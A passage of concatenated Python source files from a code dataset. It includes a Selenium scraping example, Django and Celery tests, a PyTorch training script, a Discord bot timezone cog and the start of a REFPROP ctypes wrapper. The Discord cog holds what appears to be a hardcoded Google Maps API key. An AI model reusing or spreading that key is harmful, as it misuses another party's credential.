body 안에 있는 태그 요소는 .text 로 추출할 수 있습니다. (출력이 잘 안되면, 둘다 써보셔도 좋습니다.)\nprint(\"div#harmonyContainer-->\" ,contents.text)\n\n\n# role attribute가 navigation인 div태그\nnav = driver.find_element_by_css_selector(\"div[role='navigation']\")\nprint(\"div[role='navigation']->\", nav.text)\n\ni = 0\nfor p in contents.find_elements_by_tag_name('p'):\n i +=1\n print (i , p.text)\n\ndriver.quit()","sub_path":"basic/selenium/ch02/selenium05.py","file_name":"selenium05.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"94494909","text":"from django.contrib.auth.models import User\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.test import TestCase\n\nfrom glitter.models import Version\nfrom glitter.pages.models import Page\nfrom glitter.publisher.models import PublishAction\n\n\nclass TestPublishAction(TestCase):\n @classmethod\n def setUpTestData(cls):\n cls.user = User.objects.create(\n username='admin',\n )\n cls.page = Page.objects.create(\n url='/test/',\n title='Test',\n )\n cls.page_content_type = ContentType.objects.get_for_model(cls.page)\n\n cls.version_1 = Version.objects.create(\n content_type=cls.page_content_type,\n object_id=cls.page.pk,\n template_name='demo.html',\n version_number=1,\n )\n cls.version_2 = Version.objects.create(\n content_type=cls.page_content_type,\n object_id=cls.page.pk,\n template_name='demo.html',\n version_number=2,\n )\n\n def setUp(self):\n self.page.refresh_from_db()\n\n def test_publish(self):\n obj = PublishAction(\n content_type=self.page_content_type,\n object_id=self.page.pk,\n publish_version=1,\n user=self.user,\n )\n\n actioned = obj.process_action()\n\n self.page.refresh_from_db()\n self.assertTrue(actioned)\n self.assertEqual(self.page.current_version, self.version_1)\n\n def test_publish_no_action(self):\n self.page.current_version = self.version_1\n self.page.save()\n obj = PublishAction(\n content_type=self.page_content_type,\n object_id=self.page.pk,\n publish_version=1,\n user=self.user,\n )\n\n actioned = obj.process_action()\n\n self.page.refresh_from_db()\n self.assertEqual(self.page.current_version, self.version_1)\n self.assertFalse(actioned)\n\n def test_unpublish(self):\n self.page.current_version = self.version_1\n self.page.save()\n obj = PublishAction(\n content_type=self.page_content_type,\n object_id=self.page.pk,\n publish_version=PublishAction.UNPUBLISH_CHOICE,\n user=self.user,\n )\n\n actioned = obj.process_action()\n\n self.page.refresh_from_db()\n self.assertTrue(actioned)\n self.assertIsNone(self.page.current_version)\n\n def test_unpublish_no_action(self):\n obj = PublishAction(\n content_type=self.page_content_type,\n object_id=self.page.pk,\n publish_version=PublishAction.UNPUBLISH_CHOICE,\n user=self.user,\n )\n\n actioned = obj.process_action()\n\n self.page.refresh_from_db()\n self.assertFalse(actioned)\n self.assertIsNone(self.page.current_version)\n","sub_path":"glitter/publisher/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"493661056","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport uuid\n\nfrom mock import Mock, PropertyMock, patch\n\nfrom django.contrib.auth.models import Group, User\nfrom django.contrib.gis.geos import GEOSGeometry, Polygon\nfrom django.test import TestCase\n\nfrom jobs.models import ExportFormat, Job, Region\n\nfrom ..task_runners import ExportTaskRunner\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestExportTaskRunner(TestCase):\n\n def setUp(self,):\n self.path = os.path.dirname(os.path.realpath(__file__))\n Group.objects.create(name='TestDefaultExportExtentGroup')\n self.user = User.objects.create(username='demo', email='demo@demo.com', password='demo')\n # bbox = Polygon.from_bbox((-7.96, 22.6, -8.14, 27.12))\n bbox = Polygon.from_bbox((-10.85, 6.25, -10.62, 6.40))\n the_geom = GEOSGeometry(bbox, srid=4326)\n self.job = Job.objects.create(name='TestJob',\n description='Test description', user=self.user,\n the_geom=the_geom)\n self.region = Region.objects.get(name='Africa')\n self.job.region = self.region\n self.uid = str(self.job.uid)\n self.job.save()\n\n @patch('tasks.task_runners.chain')\n @patch('tasks.export_tasks.GarminExportTask')\n @patch('tasks.export_tasks.ShpExportTask')\n def test_run_task(self, mock_shp, mock_garmin, mock_chain):\n shp_task = ExportFormat.objects.get(slug='shp')\n garmin_task = ExportFormat.objects.get(slug='garmin')\n celery_uid = str(uuid.uuid4())\n # shp export task mock\n shp_export_task = mock_shp.return_value\n shp_export_task.run.return_value = Mock(state='PENDING', id=celery_uid)\n type(shp_export_task).name = PropertyMock(return_value='Shapefile Export')\n garmin_export_task = mock_garmin.return_value\n garmin_export_task.run.return_value = Mock(state='PENDING', id=celery_uid)\n type(garmin_export_task).name = PropertyMock(return_value='Garmin Export')\n type(garmin_export_task).region = PropertyMock(return_value='Africa')\n # celery chain mock\n celery_chain = mock_chain.return_value\n celery_chain.apply_async.return_value = Mock()\n self.job.formats = [shp_task, garmin_task]\n runner = ExportTaskRunner()\n runner.run_task(job_uid=self.uid)\n run = self.job.runs.all()[0]\n self.assertIsNotNone(run)\n # assert delay method called on mock chord..\n celery_chain.delay.assert_called_once()\n tasks = run.tasks.all()\n self.assertIsNotNone(tasks)\n self.assertEquals(6, len(tasks)) # 4 initial tasks + 1 shape export task\n self.assertFalse(hasattr(tasks[0], 'result')) # no result yet..\n","sub_path":"tasks/tests/test_task_runners.py","file_name":"test_task_runners.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"230871333","text":"import numpy as np\nimport matplotlib.pyplot as plt\nT = 0.2\nsk = 10 # skip\na = np.genfromtxt('3b.dat')\nplt.plot(a[:,0],a[:,1],'ro', label = 'approx')\nplt.xlabel('q_0')\nplt.ylabel(r'$\\phi_{B}(q_{0})$')\nplt.title('T = %.2f'%T)\n#plt.legend(loc='best')\nplt.ylim([-0.1,1.1])\nplt.savefig('3iii_T_%.2f_b.png'%T)\nplt.show()\n","sub_path":"ps8/3b.py","file_name":"3b.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400450997","text":"# Copyright 2017-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport ResNetFeat\nimport torch\nimport data\nimport torch.optim\nimport time\nimport argparse\nimport yaml\nimport os\nimport glob\nimport numpy as np\nimport losses\nfrom tensorboardX import SummaryWriter\n\n\ndef accuracy(scores, labels):\n topk_scores, topk_labels = scores.topk(5, 1, True, True)\n label_ind = labels.cpu().numpy()\n topk_ind = topk_labels.cpu().numpy()\n top1_correct = np.sum(topk_ind[:,0] == label_ind)\n top5_correct = np.sum(topk_ind == label_ind.reshape((-1,1)))\n return float(top1_correct), float(top5_correct)\n\n\ndef adjust_learning_rate(optimizer, epoch, params):\n if epoch < params.step_size1:\n lr = 0.1\n elif epoch < params.step_size2:\n lr = 0.01\n else:\n lr = 0.001\n\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\ndef main_training_loop(train_loader, val_loader, model, loss_fn, start_epoch, stop_epoch, params, writer):\n iter_ind = 0\n\n optimizer = torch.optim.SGD(list(filter(lambda p: p.requires_grad, model.parameters())) +\n list(loss_fn.attr_loss.parameters()), params.lr, momentum=params.momentum,\n weight_decay=params.weight_decay, dampening=params.dampening)\n\n for epoch in range(start_epoch,stop_epoch):\n adjust_learning_rate(optimizer, epoch, params)\n model.train()\n\n # start timing\n data_time=0\n sgd_time=0\n test_time=0\n start_data_time=time.time()\n avg_loss=0\n\n #train\n for i, (x, y, attributes) in enumerate(train_loader):\n data_time = data_time + (time.time()-start_data_time)\n x = x.cuda()\n y = y.cuda()\n start_sgd_time=time.time()\n optimizer.zero_grad()\n\n loss, attr_loss, orth_loss = loss_fn(model, x, y, attributes)\n writer.add_scalar('loss', loss.item(), iter_ind)\n if attr_loss is not None:\n writer.add_scalar('attr_loss', attr_loss.item(), iter_ind)\n loss += params.attr_weight * attr_loss\n if orth_loss is not None:\n writer.add_scalar('orth_loss', orth_loss.item(), iter_ind)\n loss += params.orth_weight * orth_loss\n loss.backward()\n optimizer.step()\n sgd_time = sgd_time + (time.time() - start_sgd_time)\n\n avg_loss = avg_loss + loss.item()\n\n if i % params.print_freq==0:\n print(optimizer.state_dict()['param_groups'][0]['lr'])\n print('Epoch {:d}/{:d} | Batch {:d}/{:d} | Loss {:f} | Data time {:f} | SGD time {:f}'.format(epoch,\n stop_epoch, i, len(train_loader), avg_loss/float(i+1), data_time/float(i+1), sgd_time/float(i+1)))\n start_data_time = time.time()\n iter_ind += 1\n\n #test\n model.eval()\n data_time=0\n start_data_time = time.time()\n top1=0\n top5=0\n count = 0\n for i, (x, y, attributes) in enumerate(val_loader):\n data_time = data_time + (time.time()-start_data_time)\n x = x.cuda()\n y = y.cuda()\n start_test_time = time.time()\n scores, features = model(x)\n top1_this, top5_this = accuracy(scores.data, y)\n top1 = top1 + top1_this\n top5 = top5 + top5_this\n count = count + scores.size(0)\n test_time = test_time + time.time() - start_test_time\n if (i % params.print_freq == 0) or (i == len(val_loader) - 1):\n print('Epoch {:d}/{:d} | Batch {:d}/{:d} | Top-1 {:f} | Top-5 {:f} | Data time {:f} | Test time {:f}'.format(epoch,\n stop_epoch, i, len(val_loader), top1/float(count), top5/float(count), data_time/float(i+1), test_time/float(i+1)))\n\n writer.add_scalar('val_top1', top1/float(count), epoch)\n writer.add_scalar('val_top5', top5 / float(count), epoch)\n\n if (epoch % params.save_freq==0) or (epoch==stop_epoch-1):\n if not os.path.isdir(params.checkpoint_dir):\n os.makedirs(params.checkpoint_dir)\n outfile = os.path.join(params.checkpoint_dir, '{:d}.tar'.format(epoch))\n torch.save({'epoch': epoch, 'state': model.state_dict()}, outfile)\n\n return model\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Main training script')\n parser.add_argument('--traincfg', required=True, help='yaml file containing config for data')\n parser.add_argument('--valcfg', required=True, help='yaml file containing config for data')\n parser.add_argument('--model', default='ResNet18', help='model: ResNet{10|18|34}')\n parser.add_argument('--lr', default=0.1, type=float, help='Initial learning rate')\n parser.add_argument('--momentum', default=0.9, type=float, help='Momentum')\n parser.add_argument('--weight_decay', default=0.0001, type=float, help='Weight decay')\n parser.add_argument('--lr_decay', default=0.1, type=float, help='Learning rate decay')\n parser.add_argument('--step_size1', default=30, type=int, help='First step size')\n parser.add_argument('--step_size2', default=60, type=int, help='Second step size')\n parser.add_argument('--print_freq', default=10, type=int,help='Print frequecy')\n parser.add_argument('--save_freq', default=10, type=int, help='Save frequency')\n parser.add_argument('--start_epoch', default=0, type=int,help ='Starting epoch')\n parser.add_argument('--stop_epoch', default=90, type=int, help ='Stopping epoch')\n parser.add_argument('--gpu', nargs='*', help='GPU id')\n parser.add_argument('--resume_file', default=None, help='resume from file')\n parser.add_argument('--checkpoint_dir', required=True, help='Directory for storing check points')\n parser.add_argument('--num_classes',default=1000, type=int, help='num classes')\n parser.add_argument('--dampening', default=0, type=float, help='dampening')\n parser.add_argument('--is_cosine', help='use cosine classifier', action='store_true')\n parser.add_argument('--is_soft', help='use soft attrinute loss', action='store_true')\n parser.add_argument('--attr_weight', default=0, type=float, help='Weight of the attribute loss')\n parser.add_argument('--orth_weight', default=0, type=float, help='Weight of the orthogonality')\n\n return parser.parse_args()\n\n\ndef isfile(x):\n if x is None:\n return False\n else:\n return os.path.isfile(x)\n\n\ndef get_model(model_name, num_classes, is_cosine=False):\n model_dict = dict(ResNet10 = ResNetFeat.ResNet10,\n ResNet18 = ResNetFeat.ResNet18,\n ResNet34 = ResNetFeat.ResNet34,\n ResNet50 = ResNetFeat.ResNet50,\n ResNet101 = ResNetFeat.ResNet101)\n return model_dict[model_name](num_classes, False, is_cosine=is_cosine)\n\n\ndef get_resume_file(filename):\n if isfile(filename):\n return filename\n filelist = glob.glob(os.path.join(params.checkpoint_dir, '*.tar'))\n if len(filelist) == 0:\n return None\n\n epochs = np.array([int(os.path.splitext(os.path.basename(x))[0]) for x in filelist])\n max_epoch = np.max(epochs)\n resume_file = os.path.join(params.checkpoint_dir, '{:d}.tar'.format(max_epoch))\n return resume_file\n\n\nif __name__=='__main__':\n np.random.seed(10)\n params = parse_args()\n\n ids_list = ''\n for i in range(len(params.gpu)):\n ids_list += params.gpu[i] + ','\n ids_list = ids_list[:-1]\n\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = ids_list\n\n writer = SummaryWriter(logdir='./' + params.checkpoint_dir)\n\n with open(params.traincfg,'r') as f:\n train_data_params = yaml.load(f)\n with open(params.valcfg,'r') as f:\n val_data_params = yaml.load(f)\n\n train_loader = data.get_data_loader(train_data_params)\n val_loader = data.get_data_loader(val_data_params)\n\n model = get_model(params.model, params.num_classes, is_cosine=params.is_cosine)\n\n num_attrs = 0\n if train_loader.dataset.attribute_data is not None:\n num_attrs = train_loader.dataset.attribute_data.size(1)\n loss_fn = losses.GenericLoss(model.final_feat_dim, params.is_soft, num_attrs)\n\n model = torch.nn.DataParallel(model)\n\n if not os.path.isdir(params.checkpoint_dir):\n os.makedirs(params.checkpoint_dir)\n start_epoch = params.start_epoch\n stop_epoch = params.stop_epoch\n resume_file = get_resume_file(params.resume_file)\n if resume_file is not None:\n tmp = torch.load(resume_file)\n model.load_state_dict(tmp['state'])\n\n model = model.cuda()\n model = main_training_loop(train_loader, val_loader, model, loss_fn, start_epoch, stop_epoch, params, writer)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"413289081","text":"import discord\nimport json\nfrom datetime import datetime, timedelta\nimport pytz\nimport googlemaps as googlemaps\nimport requests\nfrom discord.ext import commands\nfrom cogs.utils import checks\nimport pycountry\nimport re\nfrom __main__ import send_cmd_help\nfrom pytz import country_timezones\n\n\nclass timezone:\n def __init__(self, bot):\n self.bot = bot\n self.gmaps = googlemaps.Client(key='AIzaSyAUO8P24PsGAAJpr7e4N3pL9Mhx6qL4YNs')\n self.utc = pytz.utc\n\n async def timecheck(self, code: str):\n fmt = '%H:%M'\n geocode_result = self.gmaps.geocode(code)\n timezone_result = self.gmaps.timezone(geocode_result[0]['geometry']['location'])\n local = pytz.timezone(timezone_result['timeZoneId'])\n utc_dt = datetime.now(tz=self.utc)\n time = utc_dt.astimezone(local)\n await self.bot.say(\n \"Its currently \" + time.strftime(fmt) + \" in \" + geocode_result[0]['formatted_address'] + \"!\")\n\n @commands.group(pass_context=True)\n async def localtime(self, ctx):\n \"\"\"General time stuff.\"\"\"\n if ctx.invoked_subcommand is None:\n await send_cmd_help(ctx)\n\n @localtime.command(name=\"location\", pass_context=True)\n async def location(self, ctx, location: str = \"\"):\n \"\"\"Example: -localtime location \"\"\"\n re1 = '((?:[a-z][a-z]+))' # Word 1\n re2 = '.*?' # Non-greedy match on filler\n re3 = '((?:[a-z][a-z]+))' # Word 2\n rg = re.compile(re1 + re2 + re3, re.IGNORECASE | re.DOTALL)\n\n m = rg.search(location)\n subregionobj = None\n try:\n if m:\n word1 = m.group(1)\n countryobj = pycountry.countries.get(alpha2=word1.upper())\n subregionobj = pycountry.subdivisions.get(code=location.upper())\n else:\n countryobj = pycountry.countries.get(alpha2=location.upper())\n except:\n countryobj = None\n if countryobj is not None:\n if subregionobj is not None:\n await self.timecheck(subregionobj.code)\n else:\n await self.timecheck(countryobj.alpha2)\n else:\n await self.bot.say(\n \"Sorry I don't know your country! Did you use the correct ISO countrycode? \\nExample: `-localtime GB`\\n`-localtime US-CA`\")\n\n @localtime.command(name=\"user\",pass_context=True)\n async def time(self, ctx, user: discord.Member = None):\n \"\"\"Example: -timezone to display your own timezone / -timezone to display a users timezone\"\"\"\n author = ctx.message.author\n subregionobj = None\n countryobj = None\n if not user:\n user = author\n for role in user.roles:\n try:\n subregionobj = pycountry.subdivisions.get(code=role.name)\n countryobj = subregionobj.country\n break\n except:\n subregionobj = None\n continue\n if subregionobj is None:\n for role in user.roles:\n try:\n if role.permissions.value == 0:\n countryobj = pycountry.countries.get(name=role.name)\n break\n except:\n continue\n\n if countryobj is not None:\n if subregionobj is not None:\n await self.timecheck(subregionobj.code)\n else:\n await self.timecheck(countryobj.name)\n else:\n await self.bot.say(\n \"Sorry I don't know the country of the user! Is the country set in the profile?\")\n\ndef setup(bot):\n bot.add_cog(timezone(bot))\n","sub_path":"timezone/timezone.py","file_name":"timezone.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"194426723","text":"#-------------------------------------------------------------------------------\n#Name: refprop\n#Purpose: Call out fluid properties from REFPROP\n#\n#Author: Thelen, B.J.\n# thelen_ben@yahoo.com\n#\n#10 september 2018:\n#Modified by Raphaël Gervais Lavoie\n# raphael.gervaislavoie@uqtr.ca\n#Had to removed functions: - cvcpk\n# - dpdd\n# - dpddk\n# - dpdt\n# - dpdtk\n# - dddp\n# - dddt\n#-------------------------------------------------------------------------------\n#\n#Recognitions\n#-------------------------------------------------------------------------------\n#Creators / Developers of REFPROP,\n#Lemmon, E.W.,\n#Huber, M.L.,\n#McLinden, M.O.,\n#NIST Standard Reference Database 23: Reference Fluid Thermodynamic and\n#Transport Properties-REFPROP,\n#Version 9.1,\n#National Institute of Standards and Technology,\n#Standard Reference Data Program, Gaithersburg, 2010.\n#\n#Initial developer of Python link to REFPROP,\n#Bruce Wernick\n#-------------------------------------------------------------------------------\n''' This Python module compiled and linked the Database REFPROP (REFerence\nfluid PROPerties) for usage in Python.\n\nREFPROP software is a proprietary and need to be installed on the computer\nin order for this module to function. Please contact the National Institute\nofStandards and Technology (NIST) to obtain REFPROP\n\nThe subroutine SETUP must be called to initialize the pure fluid or mixture\ncomponents. The call to SETUP will allow the choice of one of three\nstandard reference states for entropy and enthalpy and will automatically\nload the \"NIST-recommended\" models for the components as well as mixing\nrules.The routine SETMOD allows the specification of other models. To\ndefine another reference state, or to apply one of the standard states to a\nmixture of a specified composition, the subroutine SETREF may be used.These\nadditional routines should be called only if the fluids and/or models (or\nreference state) are changed. The sequence is:\n\ncall SETMOD (optional) or GERG04 (Optional)\ncall SETUP (REQUIRED)\ncall SETKTV (optional)\ncall PREOS (optional)\ncall SETAGA (optional)\ncall SETREF (optional)\n\nSubroutine PUREFLD allows the user to calculate the properties of a pure\nfluid when a mixture has been loaded and the fluid is one of the\nconstituents in the mixture.\n\nUnits\n----------------------------------------------------------------------------\ntemperature K\npressure, fugacity kPa\ndensity mol/L\ncomposition mole fraction\nquality mole basis (moles vapor/total moles)\nenthalpy, internal energy J/mol\nGibbs, Helmholtz free energy J/mol\nentropy, heat capacity J/(mol.K)\nspeed of sound m/s\nJoule-Thompson coefficient K/kPa\nd(p)/d(rho) kPa.L/mol\nd2(p)/d(rho)2 kPa.(L/mol)^2\nviscosity microPa.s (10^-6 Pa.s)\nthermal conductivity W/(m.K)\ndipole moment debye\nsurface Tension N/m\n----------------------------------------------------------------------------\n'''\n#imports\nfrom fnmatch import fnmatch\nfrom os import listdir, path\nfrom platform import system\nfrom copy import copy\nfrom decimal import Decimal\nif system() == 'Linux':\n from ctypes import (\n c_long, create_string_buffer, c_double, c_char, byref, RTLD_GLOBAL,\n CDLL)\nelif system() == 'Windows':\n from ctypes import (\n c_long, create_string_buffer, c_double, c_char, byref, RTLD_GLOBAL, \n windll)\n\n\n\n#Declarations\n#strings\ntestresult = ''\n_setwarning = 'on'\n_seterror = 'on'\n_seterrordebug = 'off'\n_setinputerrorcheck = 'on'\n_fpath = ''\n\n#Dict\n_fldext = {}\n_setupprop = {}\n_set = {}\n\n#Intergers\n_fixicomp = 0\n_nmxpar = 6\n_maxcomps = 20\n\n#Nones\n(_rp, _gerg04_pre_rec, _setmod_pre_rec, _setup_rec, _setmod_rec, _gerg04_rec,\n_setref_rec, _purefld_rec, _setktv_rec, _setaga_rec, _preos_rec) \\\n = (None,)*11\n\n#c_long\n(_icomp, _jcomp, _kph, _kq, _kguess, _nc, _ixflag, _v, _nroot, _k1, _k2, _k3,\n _ksat, _ierr, _kr, _iderv) = (c_long(), c_long(), c_long(), c_long(),\n c_long(), c_long(), c_long(), c_long(), c_long(), c_long(), c_long(),\n c_long(), c_long(), c_long(), c_long(), c_long())\n\n#create_string_buffer\n_routine = create_string_buffer(2)\n_hrf, _htype, _hmodij, _hmix, _hcode = (\n create_string_buffer(3), create_string_buffer(3), create_string_buffer(3),\n create_string_buffer(3), create_string_buffer(3))\n_hname, _hcas = (create_string_buffer(12), create_string_buffer(12))\n_hn80 = create_string_buffer(80)\n_hpth, _hmxnme, _hfmix, _hbinp, _hmxrul, _hfm, _hcite, _herr, _hfile = (\n create_string_buffer(255), create_string_buffer(255),\n create_string_buffer(255), create_string_buffer(255),\n create_string_buffer(255), create_string_buffer(255),\n create_string_buffer(255), create_string_buffer(255),\n create_string_buffer(255))\n_hfld = create_string_buffer(10000)\n\n#C-doubles *\n_x, _x0, _xliq, _xvap, _xkg, _xbub, _xdew, _xlkg, _xvkg, _u, _f, _dadn, _dnadn \\\n = ((c_double * _maxcomps)(), (c_double * _maxcomps)(),\n (c_double * _maxcomps)(), (c_double * _maxcomps)(), (c_double * _maxcomps)(),\n (c_double * _maxcomps)(), (c_double * _maxcomps)(), (c_double * _maxcomps)(),\n (c_double * _maxcomps)(), (c_double * _maxcomps)(), (c_double * _maxcomps)(),\n (c_double * _maxcomps)(), (c_double * _maxcomps)())\n_fij = (c_double * _nmxpar)()\n\n#c_chars\n_hcomp = ((c_char * 3) * _maxcomps)()\n#some error with ctypes or refpropdll the following should work but doesnot\n#_hfij = ((c_char * 8) * _nmxpar)()\n_hfij = ((c_char * (8 * _nmxpar)) * _nmxpar)()\n\n#c_doubles 26\n(_tcrit, _pcrit, _Dcrit, _zcrit, _t, _D, _p, _e, _h, _s, _A, _G, _cv, _cp, _w,\n _Z, _hjt, _xkappa, _beta, _dpdD, _d2pdD2, _dpdt, _dDdt, _dDdp, _spare1,\n _spare2, _spare3, _spare4, _xisenk, _xkt, _betas, _bs, _xkkt, _thrott,\n _pint, _spht, _Ar, _Gr, _dhdt_D, _dhdt_p, _dhdD_t, _dhdD_p, _dhdp_t,\n _dhdp_D, _b, _dbt, _c, _d, _Dliq, _Dvap, _t1, _p1, _D1, _t2, _p2, _D2, _t3,\n _p3, _D3, _csat, _cv2p, _tcx, _qkg, _wmix, _wmm, _ttrp, _tnbpt, _acf, _dip,\n _Rgas, _tmin, _tmax, _Dmax, _pmax, _Dmin, _tbub, _tdew, _pbub, _pdew,\n _Dlbub, _Dvdew, _wliq, _wvap, _de, _sigma, _eta, _h0, _s0, _t0, _p0, _vE,\n _eE, _hE, _sE, _aE, _gE, _pr, _er, _hr, _sr, _cvr, _cpr, _ba, _ca, _dct,\n _dct2, _Fpv, _cs, _ts, _Ds, _ps, _ws, _var1, _var2, _q) \\\n = (c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double(), c_double(), c_double(), c_double(), c_double(), c_double(),\n c_double())\n \n\n\n#classes\nclass _Setuprecord():\n 'record setmod, setup, setktv, setref, purefld input values for def reset'\n object_list = []\n\n #add record\n def __init__(self, record, objectname):\n self.record = record\n self.objectname = objectname\n self.object_list.append(self.objectname)\n\n #del record\n def __del__(self):\n self.object_list.remove(self.objectname)\n\n\nclass SetWarning:\n 'Return RefpropdllWarning status (on / off)'\n def __repr__(self):\n return _setwarning\n @staticmethod\n def on():\n 'Sets RefpropdllWarning on, initiate Error on Refpropdll ierr value < 0'\n global _setwarning\n _setwarning = 'on'\n if 'SetWarng' in _set: _set.pop('SetWarning')\n return _prop()\n @staticmethod\n def off():\n 'Sets RefpropdllWarning off, no Error raised on Refpropdll ierr value < 0'\n global _setwarning\n _setwarning = 'off'\n _set['SetWarning'] = 'off'\n return _prop()\n\n\nclass SetError:\n 'Return RefpropdllError status (on / off)'\n def __repr__(self):\n return _seterror\n @staticmethod\n def on():\n 'Sets RefpropdllError on, initiate Error on Refpropdll ierr value != 0'\n global _seterror\n _seterror = 'on'\n if 'SetError' in _set: _set.pop('SetError')\n return _prop()\n @staticmethod\n def off():\n 'Sets RefpropdllError off, no Error raised on Refpropdll ierr value != 0'\n global _seterror\n _seterror = 'off'\n _set['SetError'] = 'off'\n return _prop()\n\n\nclass SetErrorDebug:\n 'Return SetErrorDebug status (on / off)'\n def __repr__(self):\n return _seterrordebug\n @staticmethod\n def on():\n 'Sets error debug mode on, displays error message only'\n global _seterrordebug\n _seterrordebug = 'on'\n _set['SetDebug'] = 'on'\n return _prop()\n @staticmethod\n def off():\n 'Sets error debug mode off, displays error message only'\n global _seterrordebug\n _seterrordebug = 'off'\n if 'SetDebug' in _set: _set.pop('SetDebug')\n return _prop()\n\n\nclass SetInputErrorCheck:\n 'Return SetInputErrorCheck status (on / off)'\n def __repr__(self):\n return _setinputerrorcheck\n @staticmethod\n def on():\n 'Sets errorinputerror mode on, displays input error message'\n global _setinputerrorcheck\n _setinputerrorcheck = 'on'\n if 'SetInputErrorCheck' in _set: _set.pop('SetInputErrorCheck')\n return _prop()\n @staticmethod\n def off():\n 'Sets errorinputerror mode off, no input error displays message'\n global _setinputerrorcheck\n _setinputerrorcheck = 'off'\n _set['SetInputErrorCheck'] = 'off'\n return _prop()\n\n\nclass RefpropError(Exception):\n 'General RepropError for python module'\n pass\n\n\nclass RefpropinputError(RefpropError):\n 'Error for incorrect input'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefproproutineError(RefpropError):\n 'Error if routine input is unsupported'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefpropdllError(RefpropError):\n 'General RepropError from refprop'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefpropicompError(RefpropError):\n 'Error for incorrect component no input'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefpropnormalizeError(RefpropError):\n 'Error if sum component input does not match value 1'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefpropWarning(RefpropError):\n 'General Warning for python module'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass RefpropdllWarning(RefpropWarning):\n 'General RepropWarning from refprop'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass SetupWarning(RefpropWarning):\n 'General SetupWarning from refprop'\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return repr(self.value)\n\n\nclass FluidModel():\n '''return string of current loaded fluid model\n\n array includes:\n setmod / gerg04\n setup\n setktv\n preos\n setaga\n setref\n purefld'''\n def __repr__(self):\n global _setup_rec, _setmod_rec, _gerg04_rec, _setref_rec, _purefld_rec\n global _setktv_rec, _setaga_rec, _preos_rec\n fldsetup = ''\n if '_setmod_rec' in _Setuprecord.object_list:\n fldsetup += 'setmod ==> ' + str(_setmod_rec.record) + '\\n'\n if '_gerg04_rec' in _Setuprecord.object_list:\n fldsetup += 'gerg04 ==> ' + str(_gerg04_rec.record) + '\\n'\n if '_setup_rec' in _Setuprecord.object_list:\n fldsetup += 'setup ==> ' + str(_setup_rec.record) + '\\n'\n if '_setktv_rec' in _Setuprecord.object_list:\n fldsetup += 'setktv ==> ' + str(_setktv_rec.record) + '\\n'\n if '_preos_rec' in _Setuprecord.object_list:\n fldsetup += 'preos ==> ' + str(_preos_rec.record) + '\\n'\n if '_setaga_rec' in _Setuprecord.object_list:\n fldsetup += 'setaga ==> ' + str(_setaga_rec.record) + '\\n'\n if '_setref_rec' in _Setuprecord.object_list:\n fldsetup += 'setref ==> ' + str(_setref_rec.record) + '\\n'\n if '_purefld_rec' in _Setuprecord.object_list:\n fldsetup += 'purefld ==> ' + str(_purefld_rec.record) + '\\n'\n return fldsetup\n\n\n\n#Functions\n#additional functions (not from refprop)\ndef _checksetupmodel(model):\n 'Raise warning if multiple models are being set'\n models = []\n #add setmod if called already\n if '_setmod_rec' in _Setuprecord.object_list:\n models.append('setmod')\n #add setktv if called already\n if '_setktv_rec' in _Setuprecord.object_list:\n models.append('setktv')\n #add gerg04 if called already\n if '_gerg04_rec' in _Setuprecord.object_list:\n models.append('gerg04')\n #add called model if not included already\n if model not in models:\n models.append(model)\n #raise warning on multiple model calls and if warning is on\n if len(models) > 1 and str(SetWarning()) == 'on':\n raise SetupWarning('''Warning, calling multiple model setups (setmod,\n setktv and gerg04 and others) could result in 